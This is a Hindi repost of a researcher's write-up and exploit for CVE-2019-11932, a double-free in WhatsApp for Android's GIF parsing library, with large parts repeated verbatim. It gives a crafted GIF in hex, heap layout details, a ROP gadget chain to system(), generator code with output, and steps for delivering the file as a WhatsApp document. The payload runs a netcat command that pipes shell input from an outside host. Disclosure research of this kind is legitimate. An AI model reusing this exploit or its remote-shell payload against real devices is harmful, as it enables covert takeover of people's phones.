infiniteloopers/cve-2019-11932CVE-2019-11932 के लिए तकनीकी लेख और शोषण कोड, जो Android के लिए WhatsApp में एक डबल-फ्री भेद्यता है, जो एक निर्मित GIF फ़ाइल के माध्यम से दूरस्थ कोड निष्पादन की ओर ले जाती है।
मैं एक डबल-फ्री भेद्यता के बारे में साझा करने जा रहा हूँ जो मुझे Android के लिए WhatsApp में मिली, और मैंने इसे RCE में कैसे बदला। मैंने इसकी सूचना Facebook को दी। Facebook ने इसे स्वीकार किया और WhatsApp संस्करण 2.19.244 में आधिकारिक रूप से इसे पैच किया। Facebook ने इस मुद्दे के लिए CVE-2019-11932 आरक्षित करने में मदद की।
WhatsApp उपयोगकर्ताओं, कृपया इस बग से सुरक्षित रहने के लिए नवीनतम WhatsApp संस्करण (2.19.244 या उससे ऊपर) में अपडेट करें।
चरण इस प्रकार हैं:
उनमें से एक WhatsApp के माध्यम से दस्तावेज़ के रूप में हो सकता है (अर्थात Paper Clip बटन दबाकर और दूषित GIF भेजने के लिए Document चुनें) यदि हमलावर उपयोगकर्ता की संपर्क सूची में है (अर्थात एक मित्र), तो दूषित GIF बिना किसी उपयोगकर्ता इंटरैक्शन के स्वचालित रूप से डाउनलोड हो जाती है।
ध्यान दें कि उपयोगकर्ता को कुछ भी भेजने की आवश्यकता नहीं है क्योंकि केवल WhatsApp Gallery खोलने से बग ट्रिगर हो जाएगा। WhatsApp Gallery दबाने के बाद कोई अतिरिक्त स्पर्श आवश्यक नहीं है।
जब कोई WhatsApp उपयोगकर्ता मीडिया फ़ाइल भेजने के लिए WhatsApp में Gallery दृश्य खोलता है, तो WhatsApp GIF फ़ाइल का पूर्वावलोकन उत्पन्न करने के लिए libpl_droidsonroids_gif.so नामक एक नेटिव लाइब्रेरी के साथ इसे पार्स करता है। libpl_droidsonroids_gif.so एक ओपन-सोर्स लाइब्रेरी है जिसका स्रोत कोड https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c पर उपलब्ध है।
एक GIF फ़ाइल में कई एन्कोडेड फ्रेम होते हैं। डिकोड किए गए फ्रेमों को संग्रहीत करने के लिए, rasterBits नामक एक बफर का उपयोग किया जाता है। यदि सभी फ्रेमों का आकार समान है, तो rasterBits का पुन: आवंटन किए बिना डिकोड किए गए फ्रेमों को संग्रहीत करने के लिए पुन: उपयोग किया जाता है। हालांकि, यदि नीचे दी गई तीन शर्तों में से एक पूरी होती है, तो rasterBits का पुन: आवंटन किया जाएगा:
पुन: आवंटन free और malloc का संयोजन है। यदि पुन: आवंटन का आकार 0 है, तो यह केवल एक free है। मान लीजिए हमारे पास एक GIF फ़ाइल है जिसमें 3 फ्रेम हैं जिनके आकार 100, 0 और 0 हैं।
इसके परिणामस्वरूप एक डबल-फ्री भेद्यता होती है। ट्रिगरिंग स्थान decoding.c में पाया जा सकता है:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
14 मिनट का पढ़ना इस पृष्ठ पर डेमो डबल-फ्री भेद्यता libpl_droidsonroids_gif के decoding.c में DDGifSlurp में PC रजिस्टर को नियंत्रित करना ASLR और W^X से निपटना सब कुछ एक साथ रखना प्रभावित संस्करण हमले के वेक्टर इस ब्लॉग पोस्ट में, मैं एक डबल-फ्री भेद्यता के बारे में साझा करने जा रहा हूँ जो मुझे Android के लिए WhatsApp में मिली, और मैंने इसे RCE में कैसे बदला। मैंने इसकी सूचना Facebook को दी। Facebook ने इसे स्वीकार किया और WhatsApp संस्करण 2.19.244 में आधिकारिक रूप से इसे पैच किया। Facebook ने इस मुद्दे के लिए CVE-2019-11932 आरक्षित करने में मदद की।
WhatsApp उपयोगकर्ताओं, कृपया इस बग से सुरक्षित रहने के लिए नवीनतम WhatsApp संस्करण (2.19.244 या उससे ऊपर) में अपडेट करें।
डेमो https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Google Drive लिंक डाउनलोड करने के लिए यदि उपरोक्त लिंक सुलभ नहीं है https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
चरण इस प्रकार हैं:
0:16 हमलावर किसी भी चैनल के माध्यम से उपयोगकर्ता को GIF फ़ाइल भेजता है उनमें से एक WhatsApp के माध्यम से दस्तावेज़ के रूप में हो सकता है (अर्थात Paper Clip बटन दबाकर और दूषित GIF भेजने के लिए Document चुनें) यदि हमलावर उपयोगकर्ता की संपर्क सूची में है (अर्थात एक मित्र), तो दूषित GIF बिना किसी उपयोगकर्ता इंटरैक्शन के स्वचालित रूप से डाउनलोड हो जाती है। 0:24 उपयोगकर्ता अपने किसी WhatsApp मित्र को एक मीडिया फ़ाइल भेजना चाहता है। इसलिए उपयोगकर्ता Paper clip बटन दबाता है और अपने मित्र को भेजने के लिए एक मीडिया फ़ाइल चुनने के लिए WhatsApp Gallery खोलता है। ध्यान दें कि उपयोगकर्ता को कुछ भी भेजने की आवश्यकता नहीं है क्योंकि केवल WhatsApp Gallery खोलने से बग ट्रिगर हो जाएगा। WhatsApp Gallery दबाने के बाद कोई अतिरिक्त स्पर्श आवश्यक नहीं है। 0:30 चूंकि WhatsApp प्रत्येक मीडिया का पूर्वावलोकन दिखाता है (प्राप्त GIF फ़ाइल सहित), यह डबल-फ्री बग और हमारे RCE शोषण को ट्रिगर करेगा। libpl_droidsonroids_gif के decoding.c में DDGifSlurp में डबल-फ्री भेद्यता जब कोई WhatsApp उपयोगकर्ता मीडिया फ़ाइल भेजने के लिए WhatsApp में Gallery दृश्य खोलता है, तो WhatsApp GIF फ़ाइल का पूर्वावलोकन उत्पन्न करने के लिए libpl_droidsonroids_gif.so नामक एक नेटिव लाइब्रेरी के साथ इसे पार्स करता है। libpl_droidsonroids_gif.so एक ओपन-सोर्स लाइब्रेरी है जिसका स्रोत कोड https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c पर उपलब्ध है।
एक GIF फ़ाइल में कई एन्कोडेड फ्रेम होते हैं। डिकोड किए गए फ्रेमों को संग्रहीत करने के लिए, rasterBits नामक एक बफर का उपयोग किया जाता है। यदि सभी फ्रेमों का आकार समान है, तो rasterBits का पुन: आवंटन किए बिना डिकोड किए गए फ्रेमों को संग्रहीत करने के लिए पुन: उपयोग किया जाता है। हालांकि, यदि नीचे दी गई तीन शर्तों में से एक पूरी होती है, तो rasterBits का पुन: आवंटन किया जाएगा:
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 पुन: आवंटन free और malloc का संयोजन है। यदि पुन: आवंटन का आकार 0 है, तो यह केवल एक free है। मान लीजिए हमारे पास एक GIF फ़ाइल है जिसमें 3 फ्रेम हैं जिनके आकार 100, 0 और 0 हैं।
पहले पुन: आवंटन के बाद, हमारे पास आकार 100 का info->rasterBits बफर है। 0 के दूसरे पुन: आवंटन में, info->rasterBits बफर freed हो जाता है। 0 के तीसरे पुन: आवंटन में, info->rasterBits फिर से freed हो जाता है। इसके परिणामस्वरूप एक डबल-फ्री भेद्यता होती है। ट्रिगरिंग स्थान decoding.c में पाया जा सकता है:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } Android में, आकार N की मेमोरी का डबल-फ्री करने से आकार N के दो बाद के मेमोरी-आवंटन एक ही पता लौटाते हैं।
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
14 मिनट का पढ़ना इस पृष्ठ पर डेमो डबल-फ्री भेद्यता libpl_droidsonroids_gif के decoding.c में DDGifSlurp में PC रजिस्टर को नियंत्रित करना ASLR और W^X से निपटना सब कुछ एक साथ रखना प्रभावित संस्करण हमले के वेक्टर इस ब्लॉग पोस्ट में, मैं एक डबल-फ्री भेद्यता के बारे में साझा करने जा रहा हूँ जो मुझे Android के लिए WhatsApp में मिली, और मैंने इसे RCE में कैसे बदला। मैंने इसकी सूचना Facebook को दी। Facebook ने इसे स्वीकार किया और WhatsApp संस्करण 2.19.244 में आधिकारिक रूप से इसे पैच किया। Facebook ने इस मुद्दे के लिए CVE-2019-11932 आरक्षित करने में मदद की।
WhatsApp उपयोगकर्ताओं, कृपया इस बग से सुरक्षित रहने के लिए नवीनतम WhatsApp संस्करण (2.19.244 या उससे ऊपर) में अपडेट करें।
डेमो https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Google Drive लिंक डाउनलोड करने के लिए यदि उपरोक्त लिंक सुलभ नहीं है https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
चरण इस प्रकार हैं:
0:16 हमलावर किसी भी चैनल के माध्यम से उपयोगकर्ता को GIF फ़ाइल भेजता है उनमें से एक WhatsApp के माध्यम से दस्तावेज़ के रूप में हो सकता है (अर्थात Paper Clip बटन दबाकर और दूषित GIF भेजने के लिए Document चुनें) यदि हमलावर उपयोगकर्ता की संपर्क सूची में है (अर्थात एक मित्र), तो दूषित GIF बिना किसी उपयोगकर्ता इंटरैक्शन के स्वचालित रूप से डाउनलोड हो जाती है। 0:24 उपयोगकर्ता अपने किसी WhatsApp मित्र को एक मीडिया फ़ाइल भेजना चाहता है। इसलिए उपयोगकर्ता Paper clip बटन दबाता है और अपने मित्र को भेजने के लिए एक मीडिया फ़ाइल चुनने के लिए WhatsApp Gallery खोलता है। ध्यान दें कि उपयोगकर्ता को कुछ भी भेजने की आवश्यकता नहीं है क्योंकि केवल WhatsApp Gallery खोलने से बग ट्रिगर हो जाएगा। WhatsApp Gallery दबाने के बाद कोई अतिरिक्त स्पर्श आवश्यक नहीं है। 0:30 चूंकि WhatsApp प्रत्येक मीडिया का पूर्वावलोकन दिखाता है (प्राप्त GIF फ़ाइल सहित), यह डबल-फ्री बग और हमारे RCE शोषण को ट्रिगर करेगा। libpl_droidsonroids_gif के decoding.c में DDGifSlurp में डबल-फ्री भेद्यता जब कोई WhatsApp उपयोगकर्ता मीडिया फ़ाइल भेजने के लिए WhatsApp में Gallery दृश्य खोलता है, तो WhatsApp GIF फ़ाइल का पूर्वावलोकन उत्पन्न करने के लिए libpl_droidsonroids_gif.so नामक एक नेटिव लाइब्रेरी के साथ इसे पार्स करता है। libpl_droidsonroids_gif.so एक ओपन-सोर्स लाइब्रेरी है जिसका स्रोत कोड https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c पर उपलब्ध है।
एक GIF फ़ाइल में कई एन्कोडेड फ्रेम होते हैं। डिकोड किए गए फ्रेमों को संग्रहीत करने के लिए, rasterBits नामक एक बफर का उपयोग किया जाता है। यदि सभी फ्रेमों का आकार समान है, तो rasterBits का पुन: आवंटन किए बिना डिकोड किए गए फ्रेमों को संग्रहीत करने के लिए पुन: उपयोग किया जाता है। हालांकि, यदि नीचे दी गई तीन शर्तों में से एक पूरी होती है, तो rasterBits का पुन: आवंटन किया जाएगा:
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 पुन: आवंटन free और malloc का संयोजन है। यदि पुन: आवंटन का आकार 0 है, तो यह केवल एक free है। मान लीजिए हमारे पास एक GIF फ़ाइल है जिसमें 3 फ्रेम हैं जिनके आकार 100, 0 और 0 हैं।
पहले पुन: आवंटन के बाद, हमारे पास आकार 100 का info->rasterBits बफर है। 0 के दूसरे पुन: आवंटन में, info->rasterBits बफर freed हो जाता है। 0 के तीसरे पुन: आवंटन में, info->rasterBits फिर से freed हो जाता है। इसके परिणामस्वरूप एक डबल-फ्री भेद्यता होती है। ट्रिगरिंग स्थान decoding.c में पाया जा सकता है:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } Android में, आकार N की मेमोरी का डबल-फ्री करने से आकार N के दो बाद के मेमोरी-आवंटन एक ही पता लौटाते हैं।
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
उपरोक्त स्निपेट में, वेरिएबल $foo को दो बार freed किया गया। परिणामस्वरूप, अगले दो आवंटन ($20 और $21) एक ही पता लौटाते हैं। अब gif.h में struct GifInfo देखें struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- यहाँ एक फंक्शन पॉइंटर है GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- यहाँ एक और फंक्शन पॉइंटर है jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
हम फिर नीचे दिए गए आकारों के तीन फ्रेमों वाली एक GIF फ़ाइल तैयार करते हैं: sizeof(GifInfo) 0 0
जब WhatsApp Gallery खोला जाता है, तो कही गई GIF फ़ाइल sizeof(GifInfo) आकार के rasterBits बफर पर डबल-फ्री बग को ट्रिगर करती है। दिलचस्प बात यह है कि WhatsApp Gallery में, एक GIF फ़ाइल को दो बार पार्स किया जाता है। जब कही गई GIF फ़ाइल को फिर से पार्स किया जाता है, तो एक और GifInfo ऑब्जेक्ट बनाया जाता है। Android में डबल-फ्री व्यवहार के कारण, GifInfo info ऑब्जेक्ट और info->rasterBits एक ही पते पर इंगित करेंगे। DDGifSlurp() फिर पहले फ्रेम को info->rasterBits बफर में डीकोड करेगा, इस प्रकार info और इसके rewindFunction() को ओवरराइट करेगा, जो DDGifSlurp() फंक्शन के अंत में ही कॉल किया जाता है।
जिस GIF फ़ाइल को हमें तैयार करने की आवश्यकता है वह नीचे दी गई है: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
इसमें चार फ्रेम हैं: फ्रेम 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF फ्रेम 2: 2C 00 00 00 00 1C 0F 00 00 00 00 फ्रेम 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 फ्रेम 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 जब WhatsApp Gallery खोला जाता है तो नीचे दिया गया क्रम होता है:
पहला पार्स: Init: GifInfo info = malloc(168); फ्रेम 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); फ्रेम 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); फ्रेम 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); फ्रेम 4: मायने नहीं रखता, यह इस GIF फ़ाइल को मान्य बनाने के लिए है दूसरा पार्स: Init: GifInfo info = malloc(168); फ्रेम 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); फ्रेम 2, 3, 4: मायने नहीं रखता End: info->rewindFunction(info); पहले पार्स में डबल-फ्री बग होने के कारण, info और info->rasterBits अब एक ही स्थान पर इंगित करते हैं। पहले फ्रेम को बताए अनुसार तैयार करने से, हम rewindFunction और PC को नियंत्रित कर सकते हैं जब info->rewindFunction(info); कॉल किया जाता है। ध्यान दें कि सभी फ्रेम LZW एन्कोडेड हैं। हमें फ्रेमों को एन्कोड करने के लिए एक LZW एन्कोडर का उपयोग करना होगा। उपरोक्त GIF नीचे दिए अनुसार क्रैश ट्रिगर करता है:
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc
PC को नियंत्रित करने के बाद, हम रिमोट कोड एक्जीक्यूशन प्राप्त करना चाहते हैं। Android में, हम W^X के कारण गैर-निष्पादनीय क्षेत्रों (जैसे स्टैक और हीप) पर कोड निष्पादित नहीं कर सकते हैं। हमारे मामले में W^X से निपटने का सबसे आसान तरीका नीचे दिए गए कमांड को निष्पादित करना है:
system("toybox nc 192.168.2.72 4444 | sh"); इसके लिए, हमें PC को libc.so में system() फंक्शन पर और X0 को "toybox nc 192.168.2.72 4444 | sh" पर इंगित करने की आवश्यकता है। यह सीधे नहीं किया जा सकता है। हमें पहले PC को एक मध्यवर्ती गैजेट पर कूदने देना होगा, जो X0 को "toybox nc 192.168.2.72 4444 | sh" पर सेट करता है और system() पर कूदता है। info->rewindFunction(info); के आसपास डिसअसेंबली कोड से, हम देख सकते हैं कि X0 और X19 दोनों info->rasterBits (या info, क्योंकि वे दोनों एक ही स्थान पर इंगित करते हैं) पर इंगित करते हैं, जबकि X8 वास्तव में info->rewindFunction है।
info->rewindFunction के आसपास डिसअसेंबलीlibhwui.so में एक गैजेट है जो हमारे उद्देश्य को बिल्कुल पूरा करता है:
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 मान लें कि उपरोक्त गैजेट का पता AAAAAAAA है और system() फंक्शन का पता BBBBBBBB है। LZW एन्कोडिंग से पहले rasterBits बफर (फ्रेम 1) नीचे दिखाए अनुसार दिखता है:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. एक सामान्य Android सिस्टम में, चूंकि सभी प्रक्रियाएँ Zygotes से स्पॉन होती हैं, ASLR होने पर भी अगर WhatsApp मारा और पुनः आरंभ किया जाता है तो हमारे पते AAAAAAAA और BBBBBBBB नहीं बदलते। हालाँकि, वे सिस्टम रिबूट को सहन नहीं कर सकते। विश्वसनीय AAAAAAAA और BBBBBBBB प्राप्त करने के लिए, हमें एक सूचना प्रकटीकरण भेद्यता की आवश्यकता है जो हमें libc.so और libhwui.so का आधार पता दे। यह भेद्यता इस ब्लॉगपोस्ट के दायरे से बाहर है।
बस इस रिपो में कोड को कंपाइल करें। ध्यान दें कि system() और गैजेट का पता सूचना प्रकटीकरण भेद्यता (जो इस ब्लॉग पोस्ट में शामिल नहीं है) द्वारा पाए गए वास्तविक पते से बदला जाना चाहिए। /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);
दूषित GIF फ़ाइल उत्पन्न करने के लिए कोड चलाएँ:
notroot@osboxes:/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 0F 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
फिर सामग्री को एक GIF फ़ाइल में कॉपी करें और इसे WhatsApp पर दस्तावेज़ के रूप में किसी अन्य WhatsApp उपयोगकर्ता को भेजें। ध्यान दें कि इसे मीडिया फ़ाइल के रूप में नहीं भेजा जाना चाहिए, अन्यथा WhatsApp भेजने से पहले इसे MP4 में बदलने का प्रयास करता है। जब उपयोगकर्ता दुर्भावनापूर्ण GIF फ़ाइल प्राप्त करता है, तो कुछ नहीं होगा जब तक कि उपयोगकर्ता किसी मित्र को मीडिया फ़ाइल भेजने के लिए WhatsApp गैलरी नहीं खोलता।
एक्सप्लॉइट WhatsApp संस्करण 2.19.230 तक ठीक काम करता है। भेद्यता को WhatsApp संस्करण 2.19.244 में आधिकारिक रूप से पैच किया गया है।
एक्सप्लॉइट Android 8.1 और 9.0 के लिए अच्छी तरह काम करता है, लेकिन Android 8.0 और उससे पुराने संस्करणों के लिए काम नहीं करता। पुराने Android संस्करणों में, double-free अभी भी ट्रिगर किया जा सकता है। हालाँकि, double-free के बाद सिस्टम द्वारा किए गए malloc कॉल के कारण, ऐप उस बिंदु तक पहुँचने से पहले ही क्रैश हो जाता है जहाँ हम PC रजिस्टर को नियंत्रित कर सकते हैं।
ध्यान दें कि Facebook ने android-gif-drawable रिपो के डेवलपर को इस मुद्दे के बारे में सूचित किया था। Facebook से फिक्स को 10 अगस्त के एक कमिट में मूल रिपो में मर्ज कर दिया गया था। android-gif-drawable का संस्करण 1.2.18 double-free बग से सुरक्षित है।
उपरोक्त शोषण के साथ, हमारे पास दो हमले के वेक्टर हो सकते हैं:
#Source Afnan Sadhayo Infiniteloopers.com
I don't own this , if you have issues please contact the owner